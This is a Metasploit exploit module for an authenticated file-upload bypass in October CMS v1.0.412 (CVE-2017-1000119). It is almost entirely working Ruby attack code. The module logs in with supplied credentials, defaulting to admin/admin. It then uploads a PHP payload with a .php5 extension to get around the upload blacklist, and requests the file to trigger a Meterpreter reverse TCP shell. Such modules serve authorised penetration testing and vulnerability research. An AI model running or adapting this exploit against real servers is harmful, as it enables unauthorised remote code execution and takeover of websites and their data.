October CMS – Upload Protection Bypass Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'October CMS Upload Protection Bypass Code Execution', 'Description' => %q{ This module exploits an Authenticated user with permission to upload and manage media contents can upload various files on the server. Application prevents the user from uploading PHP code by checking the file extension. It uses black-list based approach, as seen in octobercms/vendor/october/rain/src/Filesystem/ Definitions.php:blockedExtensions(). This module was tested on October CMS version v1.0.412 on Ubuntu. }, 'Author' => [ 'Anti Räis', # Discovery 'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module 'SecureLayer7.net' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ ['EDB','41936'], ['URL','https://bitflipper.eu/finding/2017/04/october-cms-v10412-several-issues.html'], ['CVE','2017-1000119'] ], 'DefaultOptions' => { 'SSL' => false, 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'ENCODER' => 'php/base64', }, 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'October CMS v1.0.412', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 25 2017')) register_options( [ OptString.new('TARGETURI', [ true, "Base October CMS directory path", '/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin']) ]) end def uri return target_uri.path end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'modules', 'system', 'assets', 'js', 'framework.js') }) rescue vprint_error('Unable to access the /assets/js/framework.js file') return CheckCode::Unknown end if res && res.code == 200 return Exploit::CheckCode::Appears end return CheckCode::Safe end def login res = send_request_cgi({ 'uri' => normalize_uri(uri, 'backend', 'backend', 'auth', 'signin'), 'method' => 'GET' }) if res.nil? fail_with(Failure::Unreachable, "#{peer} - Connection failed") end /name="_session_key" type="hidden" value="(?<session>[A-Za-z0-9"]+)">/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine Session Key") if session.nil? /name="_token" type="hidden" value="(?<token>[A-Za-z0-9"]+)">/ =~ res.body fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine token") if token.nil? vprint_good("Token for login : #{token}") vprint_good("Session Key for login : #{session}") cookies = res.get_cookies vprint_status('Trying to Login ......') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'backend', 'backend', 'auth', 'signin'), 'cookie' => cookies, 'vars_post' => Hash[{ '_session_key' => session, '_token' => token, 'postback' => '1', 'login' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }.to_a.shuffle] }) fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil? # if we redirect. then we assume we have authenticated cookie. if res.code == 302 print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) return cookies else fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") end end def exploit cookies = login evil = "<?php #{payload.encoded} ?>" payload_name = "#{rand_text_alpha(8..13)}.php5" post_data = Rex::MIME::Message.new post_data.add_part("/", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="path"') post_data.add_part(evil, content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file_data\"; filename=\"#{payload_name}") #payload data = post_data.to_s register_files_for_cleanup(payload_name) vprint_status("Trying to upload malicious #{payload_name} file ....") res = send_request_cgi({ 'uri' => normalize_uri(uri, 'backend', 'cms', 'media'), 'method' => 'POST', 'cookie' => cookies, 'headers' => { 'X-OCTOBER-FILEUPLOAD' => 'MediaManager-manager' }, 'Connection' => 'close', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) send_request_cgi({ 'uri' => normalize_uri(uri, 'storage', 'app', 'media', payload_name), 'method' => 'GET' }) end end |